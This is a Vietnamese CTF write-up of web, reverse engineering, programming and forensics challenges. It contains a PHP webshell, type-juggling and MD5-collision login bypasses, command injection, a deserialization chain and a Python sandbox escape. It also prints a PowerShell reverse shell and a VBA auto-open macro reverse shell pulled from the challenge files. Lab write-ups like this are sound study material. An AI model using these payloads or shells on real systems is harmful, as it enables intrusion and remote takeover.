# Web Exploitation
## Be Positive
Truy cập vào trang web được deploy ra, mình thấy có một form đăng nhập. Đăng nhập với credentials `alice/alice` hoặc `bob/bob` như đề bài đã hint, mình vào được function chính là chuyển tiền.
Đây là một dạng bài khá phổ biến trong CTF nên mình chủ động test với parameter `amount`, mình test xem có chuyển được số âm không. Mình vào inspect element, chỉnh giá trị `min` của parameter `amount` về `-9999`. Và mình đã có thể chuyển `-9999`.

Lúc này tài khoản của mình đã được cộng thêm 10k USD và mình có thể buy flag.

## Slow Down
Bài này tương tự với bài `Be Positive`, tuy nhiên filter của parameter `amount` đã chặt chẽ hơn, nên hướng pollute các parameter không khả thi.
Mình nghĩ đến việc tấn công bằng race condition, solution của mình là login 1 acc tại 2 trình duyệt khác nhau (lúc này mỗi trình duyệt có 1 cookie khác nhau), sau đó cả 2 trình duyệt cùng transfer tiền đến tài khoản còn lại. Lúc này tài khoản chuyển bị trừ 1, nhưng tài khoản nhận sẽ nhận được 2, và mình có thể mua flag.

## Pass Code
Bài cho mình 1 trang web và yêu cầu nhập mật khẩu. Đoán được đây là một bài client-side validation, mình view source.
Check source thì có thấy 1 file `crypto-js.js` và mình thấy rằng đây là 1 gist ở trên [mạng](https://gist.github.com/cynecx/b02210c255a3b18566e45a38371dbc70) nên mình không quá tập trung vào đọc hiểu. Mà bài này là deobfuscate JavaScript (dựa vào title) nên tập trung vào đoạn JavaScript kia.

Do đoạn JS đã bị obsfucate nên mình sẽ dùng tool [này](https://deobfuscate.relative.im/) để deobs và thu về readable code:
```javascript
;(async function main() {
var _0x24b3ab = (function () {
var _0x140877 = true
return function (_0x36bc46, _0x3c9734) {
var _0x54cdd4 = _0x140877
? function () {
if (_0x3c9734) {
var _0x505e3b = _0x3c9734.apply(_0x36bc46, arguments)
return (_0x3c9734 = null), _0x505e3b
}
}
: function () {}
return (_0x140877 = false), _0x54cdd4
}
})(),
_0x34b2c2 = _0x24b3ab(this, function () {
return _0x34b2c2
.toString()
.search('(((.+)+)+)+$')
.toString()
.constructor(_0x34b2c2)
.search('(((.+)+)+)+$')
})
_0x34b2c2()
function _0x2e3fc4(_0x230fda, _0x10a57a) {
var _0x3c12b2 = CryptoJS.enc.Utf8.parse(_0x10a57a || 'c00kie-ar3na-ctf'),
_0x329fea = CryptoJS.AES.decrypt(_0x230fda, _0x3c12b2, { iv: _0x3c12b2 })
return _0x329fea.toString(CryptoJS.enc.Utf8)
}
const _0x5f2a9b = '#chapter-content img'
var _0x5df765 = document.querySelectorAll(_0x5f2a9b)
_0x5df765 = Array.from(_0x5df765)
var _0x46d3cf = _0x5df765.map((_0x2ffa3f) =>
_0x2ffa3f.getAttribute('encrypted-src')
)
_0x46d3cf = _0x46d3cf.map((_0x294fdc) =>
CryptoJS.AES.decrypt(_0x294fdc, 'bánh quy chấm sữa').toString(
CryptoJS.enc.Utf8
)
)
_0x5df765.forEach(
(_0x3ae067, _0x18596f) => (
_0x3ae067.removeAttribute('encrypted-src'),
_0x3ae067.setAttribute('src', _0x46d3cf[_0x18596f])
)
)
})()
```
Rất rõ ràng, key dùng để decrypt là `bánh quy chấm sữa`. Nhập key này ta có flag.
### flag: `CHH{jAvAscRIP7_o8FuSCaTe_68db84f2cb748388173b540d864c5d5a}`
## Youtube Downloader
Đây là 1 webapp cho phép người dùng fetch thumbnail của 1 video cụ thể trên YouTube.

Mình nhanh chóng nhận ra có thể inject code bằng dấu `;` ngay sau command chính.

Vì mình không muốn dùng dấu cách (lý do là bởi HTTP encode dấu cách sẽ thành dấu `+`, có thể làm hỏng command linux) nên mình dùng `${IFS}`.
### flag: `CHH{Ea5y_cOmmaND_inj3c7Ion_3f33798465f2351ef5b069cecdc124cf}`
## Magic Login
Đây là một challenge bypass login, và mình có thể tìm thấy code của server bằng cách view source:
```php=
if(isset($_POST['submit'])){
$usr = mysql_real_escape_string($_POST['username']);
$pas = hash('sha256', mysql_real_escape_string($_POST['password']));
if($pas == "0"){
$_SESSION['logged'] = TRUE;
header("Location: upload.php");
// Modify to go to the page you would like
exit;
}else{
header("Location: login_page.php");
exit;
}
}else{
//If the form button wasn't submitted go to the index page, or login page
header("Location: login_page.php");
exit;
}
```
Trong đoạn code, `$pas` là password do người dùng nhập vào, sau đó bị hash với thuật toán băm SHA256. Sau đó, nếu hash này bằng 0 thì người dùng sẽ được truy cập vào `upload.php`.
Theo mình thấy, **rất khó khăn** để tìm ra một đoạn plain text nào mà SHA256 ra bằng 0, tuy nhiên ở đây dev lại dùng loose comparison `==`. Do vậy, web app này bị lỗi [Type Juggling](https://viblo.asia/p/php-type-juggling-924lJPYWKPM).

Như vậy mục tiêu của chúng ta là tìm một đoạn plain text nào đó, mà sau khi hash bằng SHA256 được 1 đoạn text có dạng `0exxxxxxxxxxxxx`.
Sử dụng [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md), mình nhanh chóng tìm ra 2 magic strings thoả mãn điều kiện đã nêu.

Đăng nhập bằng username random và password như trong hình, là mình có thể vào được trang `upload.php`.
Trang này cho phép upload 1 file bất kì, kể cả file `php`. Mình đã upload 1 webshell đơn giản.
```php=
<?php system($_GET['cmd']);?>
```

Và có được code execution. Giờ chỉ cần `cat /flag.txt` thôi.
### flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_c42c66e83618cf8b8d005898326f1273}`
## Magic Login Harder
Đây là một challenge cho code, đọc qua đoạn code mình phân tích được:
- Flag bị gắn thêm vài kí tự ở đăng sau tên, vì vậy phải có code execution để lấy được tên file (có thể bruteforce nhưng phải brute force 62^5 trường hợp), tuy nhiên sau khi bypass login thì chỉ có LFI chứ không có RCE.
- Username và password (sau khi được base64 decode) phải khác nhau, nhưng mã MD5 phải giống nhau.
Mình đã deploy docker, chèn thêm 1 file php để đọc `phpinfo()` và phát hiện ra, `session.upload_progress.enabled` đang để ở `on`. Do đó mình có thể thực hiện khai thác [LFI2RCE](https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress). Mình cũng đã tìm ra vị trí của các file session nằm ở `tmp/sess_<PHPSESSID>`.

*(ở đây username và password mình điền là lấy từ [wikipedia](https://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities) về MD5 Collision)*
Đọc code có thể biết được rằng, sau khi login thành công thì server sẽ lưu username của người dùng vào file session. Vì thế nếu có thể chèn mã độc vào user mà vẫn thoả mãn các điều kiện trong code thì mình có thể chạy code ở server side rồi.
Sau một hồi tra cứu Google thì mình phát hiện có 1 bài [CTF](https://ctftime.org/writeup/28329) đã dùng technique `MD5 Prefix Collision` để tạo ra 2 file plain text có mã MD5 giống y nhau **mà người dùng có thể kiểm soát được 1 vài byte đầu của file đấy**.
Mình sử dụng [HashClash](https://github.com/cr-marcstevens/hashclash) để generate ra 2 file thoả mãn điều kiện:
```
teebow1e@wwc:~/hashclash/workdir$ xxd collision1.bin
00000000: 3c3f 7068 7020 7379 7374 656d 2827 6c73 <?php system('ls
00000010: 202f 2729 3b3f 3e0a 8c2c d459 c72f 62aa /');?>..,.Y./b.
00000020: bc2a 2185 b37a 79ea 7a36 2e1b 9d9b 35d8 .*!..zy.z6....5.
00000030: c26f e7d1 d53d a381 5559 e3eb 41e3 98f6 .o...=..UY..A...
00000040: afe4 954d 0ec5 61dd f00c d94b 3db8 7286 ...M..a....K=.r.
00000050: d514 98c4 d3eb fad8 77e3 bbea 6256 4c3c ........w...bVL<
00000060: 75fa 590e 803c 5125 a2c6 ce6e 037a 4fa0 u.Y..<Q%...n.zO.
00000070: dbc1 de41 43d4 54d1 ab1d 0292 556d c3f1 ...AC.T.....Um..
teebow1e@wwc:~/hashclash/workdir$ xxd collision2.bin
00000000: 3c3f 7068 7020 7379 7375 656d 2827 6c73 <?php sysuem('ls
00000010: 202f 2729 3b3f 3e0a 8c2c d459 c72f 62aa /');?>..,.Y./b.
00000020: bc2a 2185 b37a 79ea 7a36 2e1b 9d9b 35d8 .*!..zy.z6....5.
00000030: c26f e7d1 d53d a381 5559 e3eb 41e3 98f6 .o...=..UY..A...
00000040: afe4 954d 0ec5 61dd f00b d94b 3db8 7286 ...M..a....K=.r.
00000050: d514 98c4 d3eb fad8 77e3 bbea 6256 4c3c ........w...bVL<
00000060: 75fa 590e 803c 5125 a2c6 ce6e 037a 4fa0 u.Y..<Q%...n.zO.
00000070: dbc1 de41 43d4 54d1 ab1d 0292 556d c3f1 ...AC.T.....Um..
teebow1e@wwc:~/hashclash/workdir$ md5sum collision1.bin collision2.bin
bd099bdc91c517eb6c3f975ffbea5027 collision1.bin
bd099bdc91c517eb6c3f975ffbea5027 collision2.bin
```
Lúc này mình chỉ cần `base64` cả 2 file và login, file session của mình lúc này sẽ có dạng:

Và mình `cat` file flag.
### flag: `CHH{7yPE_jU66lin9_hArdEr_7c0ac0ed6416d08227cfa3caebb41a57}`
## Suck it
Tiếp tục là một bài code review, tuy nhiên bài này khá nhiều file nên mình sẽ dump cây thư mục ra trước:
```
teebow1e@wwc:~/arenas2-web-suck-it-ver2$ tree
.
├── Dockerfile
├── app
│ ├── babel.config.js
│ ├── package.json
│ ├── public
│ │ ├── favicon.ico
│ │ ├── fonts
│ │ │ ├── FVF-Fernando.ttf
│ │ │ └── Lato-Regular.ttf
│ │ └── index.html
│ └── src
│ ├── App.vue # Main app - chịu trách nhiệm cho tên của user / gắn sessionID cho người dùng
│ ├── components
│ │ ├── Chat.vue # Function chat của app
│ │ ├── MessagePanel.vue # Render ô chat
│ │ ├── SelectUsername.vue # Render phần select username
│ │ ├── StatusIcon.vue # Status icon của người dùng
│ │ └── User.vue # Render trạng thái online/offline/có tin nhắn mới của user
│ ├── main.js # File server chịu trách nhiệm authentication / Handle tin nhắn giữa các user
│ └── socket.js
├── build-docker.sh
├── config
│ ├── nginx.conf
│ └── supervisord.conf
├── flag.txt
└── server
├── index.js
├── messageStore.js
├── package.json
└── sessionStore.js
7 directories, 23 files
```
Như vậy có thể thấy, tuy nhiều file nhưng các file của `Vuejs` chỉ chịu trách nhiệm render UI của trang web trong khi `main.js` là logic của trang web.
Đọc kĩ `main.js`, mình tìm thấy winning condition:

Mình cần phải nhắn tin với người yêu của Admin, tuy nhiên với `userID` là Admin chứ không phải normal user.

Ở đây admin đã lộ secret key, secretkey này có thể dùng để kick bất cứ ai khỏi phòng chat (*bao gồm cả Admin*).
Điểm thú vị chính là, khi 1 ai đó bị thoát phòng chat, server sẽ thông báo `User disconnected`, và in ra userID/sessionID của người đó.

Vậy idea ở đây sẽ là:
> Kick Admin -> xin userID/sessionID -> add ID vào local storage -> nhắn tin với ngyeu hehehe.
Sử dụng Burp Suite, thử nhắn tin và bắt được request ở phần WebSockets. Đưa sang Repeater và chèn payload thôi:

Gửi đi câu lệnh kick admin và server gửi lại sessionID:

Chèn sessionID này vào LocalStorage và hưởng thụ thôi:


### flag: `CHH{H4ve_y0u_re4d_th3_m3ssage_f595b466fd1ab3b4c2c55c2a9ed8506c}`
## Video Link Extractor
Lại tiếp tục là một challenge có code. Phân tích code, có những điểm sau đáng chú ý:
- Flag nằm ở `flag.php`
- Hàm `extract_api_to_object` được sử dụng xuyên suốt trong app và trong hàm này có sử dụng hàm `unserialize()`, đồng thời magic function `__wakeup()` lại include 1 file php.

--> Nếu có thể control được data trước khi bị unserialize là sẽ có code execution.
- Tuy nhiên để hàm `include` trong magic function hoạt động thì sẽ cần 1 local php file có chứa code do attacker điều khiển. Và lỗ hổng thứ 2 nằm ở đây:


Nếu người dùng input host không hợp lệ thì input người dùng sẽ được truyền vào file log, và file log này có tên là epoch time của request, và được lưu ở `/tmp`.
--> Mình đã có thể ghi malicious code vào server.
Sau khi phân tích xong, idea để exploit là:
1. Tạo file log có chứa code độc hại để đọc file flag.php
2. Lợi dụng tính năng redirect để server đọc 1 serialized object do mình chuẩn bị sẵn, với `$_file` chính là file log ở bước 1.
3. Sử dụng tính năng extract ở server để dẫn server đến object mình đã chuẩn bị sẵn, sau đó server sẽ deserialize, pwn3d.
**Payload để tạo log:**

Ở đây mình sử dụng `base64` chứ không `cat` bởi vì `include` sẽ trực tiếp chạy file php ở client-side, flag ở trong một comment nên có thể sẽ không bị render ra.
**Lấy tên file log:**

**Tạo malicious serialized objects:**

**Gửi request về server:**

```
GET /index.php?mode=extract&id=%3fmode%3dredirect%26url%3dhttps%3a//raw.githubusercontent.com/teebow1e/teebow1e.github.io/main/text.txt&host=local HTTP/2
```
**Decode base64 và lấy flag:**

### flag: `CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_afcbfa6ffad78e1ad1d712a89df6e9b5}`
# Reverse Engineering
## pyreverse
Check `strings` của file exe, có thể dễ dàng thấy được file `exe` được đóng gói bằng `PyInstaller` nên ta có thể dùng `pydumpck` để unpack lại file `.py` ban đầu.

Kiểm tra file `pyreverser.pyc.cdc.py` trong `output` folder, mình đã có toàn bộ source của app và flag nằm ngay trong đoạn Base64.
```python
import base64
def reverse_string(s):
return s[::-1]
def scramble_flag(flag):
scrambled = ''
for i, char in enumerate(flag):
if i % 2 == 0:
scrambled += chr(ord(char) + 1)
continue
scrambled += chr(ord(char) - 1)
return scrambled
def main():
print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ=='))
secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode())
print('Welcome to PyReverser!')
print('Please enter a word or phrase:')
user_input = input()
generated_value = scramble_flag(reverse_string(user_input.upper()))
print('Generated value:', generated_value)
print('Can you find the hidden flag?')
reversed_flag = reverse_string(secret_flag)
print('Reversed flag:', reversed_flag)
if __name__ == '__main__':
main()
```
Decode và có được flag.
### flag `CHH{python2Exi_Reverse_ENginering}`
# Programming
## Decrypt
> Tab vốn là một học sinh rất giỏi toán, nên sau khi tham gia khoá học “Xoá mù bảo mật” của Cookie Hân Hoan, cậu liên muốn áp dụng các kỹ thuật toán học để nhằm mã hoá các mật khẩu của mình. Mật khẩu là một chuỗi ký tự S có độ dài n (thứ tự các ký tự từ trái qua phải lần lượt là từ 1 đến n), cách thức mã hoá là thực hiện theo quy trình sau:
> Lặp đi lặp lại với lần lượt các ước số nguyên của n theo thứ tự giảm dần từ n tới 1. Với ước số d của n, sẽ đảo ngược chuỗi con S[1…d] (tức là chuỗi con gồm d ký tự đầu tiên) Sau khi thực hiện quy trình trên, Tab sẽ nhận được 1 mật khẩu đã được mã hoá. Ví dụ: Với mật khẩu là chuỗi cookiearenactf có độ dài 14. Với n = 14 có 4 ước số lần lượt là 14, 7, 2, 1.
> Với d = 14, ta sẽ đảo 14 ký tự đầu tiên, cookiearenactf → ftcaneraeikooc
Với d = 7, ta sẽ đảo 7 ký tự đầu tiên, ftcaneraeikooc → renactfaeikooc
Với d = 2, ta đảo 2 ký tự đầu tiên, renactfaeikooc → ernactfaeikooc
Với d =1, ta đảo 1 ký tự đầu tiên, dĩ nhiên là không thay đổi gì, và nhận được mật khẩu đã được mã hoá là ernactfaeikooc
Solution của mình trong bài này là:
```python=
import math
def find_divisors(n):
divisors = [1]
for i in range(2, int(math.sqrt(n)) + 1):
if n % i == 0:
divisors.append(i)
if i != n // i:
divisors.append(n // i)
divisors.append(n)
return divisors
def reverse_substring(s, d):
return s[d-1::-1] + s[d:]
n = int(input())
encrypted_password = input()
divisors = find_divisors(n)
for d in divisors:
encrypted_password = reverse_substring(encrypted_password, d)
print(encrypted_password)
```
### flag: `CHH{pro9R4mmINg_D3CRYPT_1b135dcdfa53b88c8f584fab71438cb5}`
## Identify Security
> Với thông tin số điện thoại thì chỉ hiển thị 2 chữ số đầu và 3 chữ số cuối, còn lại được che bằng ký tự hoa thị (*) với mỗi chữ số là một ký tự hoa thị tương ứng.
Với thông tin địa chỉ email thì chỉ giữ lại 2 ký tự đầu và 3 ký tự cuối của phần username, và tên miền (domain), các ký tự còn lại cũng được che tương tự như trên (trong trường hợp username quá ngắn, ít hơn hoặc bằng 7 ký tự thì chỉ giữ lại ký tự đầu và cuối của username). Biết rằng cấu trúc của một địa chỉ email luôn là username@domain.
Hãy giúp ban tổ chức một tay để bảo mật danh tính các thí sinh nào!
Solution của mình trong bài này là:
```python=
inp = int(input())
for _ in range(inp):
pw_str = input().strip()
if pw_str.isdigit():
print(pw_str[:2] + '*'*(len(pw_str)-5) + pw_str[-3:])
else:
username, domain = pw_str.split('@')
if len(username) <= 7:
print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain)
else:
print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain)
```
### flag: `CHH{1DeNt17Y_SecuriTy_12b04a30e76a508404849fb02ebc2212}`
## Unintended Solutions for all Programming challenges
> Cách này KHÔNG được BTC chấp nhận, mình viết với mục đích chia sẻ, không khuyến khích mọi người làm theo.
Ngay khi thấy các challenge cho phép code và chạy ngay ở phía server, mình đã nghĩ ngay đến việc import các library cho phép chạy lệnh ở Python.

Tuy nhiên 2 keyword này đã bị filter, ở đây hướng exploit của mình sẽ là:
- Sử dụng các builtin functions của python để tìm các function top-level (`__import__` là một ví dụ)
- Với các keyword bị filter, mình sẽ sử dụng hàm `chr()` có sẵn của python để build string từ char code.
Payload của mình **(Một lần nữa - Cách giải này không được chấp nhận, không khuyến khích làm theo)**:
```python=
a = chr(95) + chr(95) + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95) + chr(95)
# __import__
b = chr(115) + chr(117) + chr(98) + chr(112) + chr(114) + chr(111) + chr(99) + chr(101) + chr(115) + chr(115)
# subprocess
c = chr(47) + chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)
# /flag.txt
__builtins__.__dict__[a](b).run(['cat', c])
```

# Digital Forensics
## Sổ đăng ký
Tải file được đính kèm và giải nén, thu được file `NTUSER.DAT`.
`NTUSER.DAT` là file chứa thông tin tài khoản người dùng và các tuỳ biến người dùng đã cài đặt. File này sẽ chứa toàn bộ thông tin của registry hive `HKEY_CURRENT_USER`.
Để xem file này, mình sử dụng tool [Registry Explorer](https://ericzimmerman.github.io/#!index.md) hoặc load hive trực tiếp vào Registry Editor, tuy nhiên mình không muốn đụng vào Registry của máy nên mình đã dùng tool.
Dựa vào hint từ đề bài, `Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính`, có lẽ có 1 file gì đó được chạy khi startup. Do vậy, mình tập trung subkey `Software/Microsoft/Windows/CurrentVersion/`, bởi vì đây là subkey có chứa rất nhiều thông tin về tuỳ biến của người dùng với hệ thống.
Cụ thể, trong subkey `Run`, tìm thấy được một key chứa lệnh được chạy thông qua Powershell:

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|inVOKe-exprEsSIon
```
Trong đoạn Powershell này, mã độc này sẽ decode 1 đoạn Base64 và chạy bằng hàm InvokeExpression. Lúc này, mình sẽ beautify code và thay hàm `Invoke-Expression` bằng `Write-Line` để in thay vì chạy code.
```
$newObject = [System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new([Convert]::FromBase64String('THE BASE64 STRING')), [System.IO.Compression.CompressionMode]::Decompress)
foreach ($object in $newObject) {
$streamReader = [System.IO.StreamReader]::new($object, [System.Text.Encoding]::ASCII)
$command = $streamReader.ReadToEnd()
Write-Host $command
}
```
Mình nhận lại được 1 đoạn code powershell khác, có thể thấy rằng đây là 1 đoạn code Reverse Shell, và có luôn flag ở trong đó:
```
$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (Ne
w-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text
.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
### flag: `CHH{N0_4_go_n0_st4r_wh3r3}`
## Tin học văn phòng
Tải về và giải nén, mình có được 1 file Doc. Qua đề bài, có thể thấy được đây là 1 malware nên mình không mở trực tiếp file doc mà dùng tool [olevba](https://github.com/decalage2/oletools/wiki/olevba) để phân tích.
Kết quả trả lại:
```
teebow1e@wwc:~$ olevba Challenge.doc
olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools
===============================================================================
FILE: Challenge.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: Challenge.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: Challenge.doc - OLE stream: 'Macros/VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Const ip = "192.168.25.135"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "You are hacked"
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "You are hacked"
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}"
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
MsgBox "You have bên hacked!!"
End Sub
Sub Autoopen()
Document_Open
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Autoopen |Runs when the Word document is opened |
|AutoExec |Document_Open |Runs when the Word or Publisher document is |
| | |opened |
|Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Lib |May run code from a DLL |
|Suspicious|RtlMoveMemory |May inject code into another process |
|IOC |192.168.25.135 |IPv4 address |
|IOC |ws2_32.dll |Executable file name |
+----------+--------------------+---------------------------------------------+
```
Có thể thấy đây là một đoạn code reverse shell khác, và flag ở trong đoạn code.
### flag: `CHH{If_u_w4nt_1_will_aft3rnull_u}`
## Trivial FTP
Giải nén ra mình được 1 file pcapng, mình sử dụng Wireshark để mở. Việc đầu tiên là kiểm tra `Protocol Hierachy Statistics` để xem có những giao thức nào để sử dụng trong quá trình.

Áp dụng `TFTP` làm filter, mình phát hiện có 1 file `flag.pdf` được truyền tải qua giao thức này:

[Nghiên cứu](http://isp.vsi.ru/library/Networking/TCPIPIllustrated/tftp_tri.htm) về giao thức này, mình biết được, 1 packet sẽ có tối đa 516 bytes, trong đó data chiếm 512 bytes, `opcode` và `blocknum` mỗi cái chiếm 2 bytes, vì vậy mình cần phải loại 4 bytes đầu của mỗi packet. Đồng thời, file được truyền bằng `netascii`, nên các ký tự EOL cũng bị làm hư hỏng, vì thế mình cần sửa `0d0a` (CRLF) thành `0a` (LF); `0d00` (CRnul) thành `0d` (CR). Mình sử dụng python để thay thế cho nhanh:
```python=
import os
CR = b'\x0d'
LF = b'\x0a'
CRLF = CR + LF
NUL = b'\x00'
CRNUL = CR + NUL
if isinstance(os.linesep, bytes):
NL = os.linesep
else:
NL = os.linesep.encode("ascii")
def from_netascii(data):
pattern = b'(\x0d\x0a|\x0d\x00)'
def convert_from_netascii(match_obj):
if match_obj.group(0) == CRLF:
return NL
elif match_obj.group(0) == CRNUL:
return CR
return pattern.sub(convert_from_netascii, data)
with open("flag.pdf", "rb") as f:
t = f.read()
x = bytearray()
buffer_size = 8192
for i in range(4, len(t), buffer_size):
x.extend(t[i:i+buffer_size])
with open("flag_new.pdf", "wb") as f:
f.write(from_netascii(x).replace(b"\r\n", b"\n"))
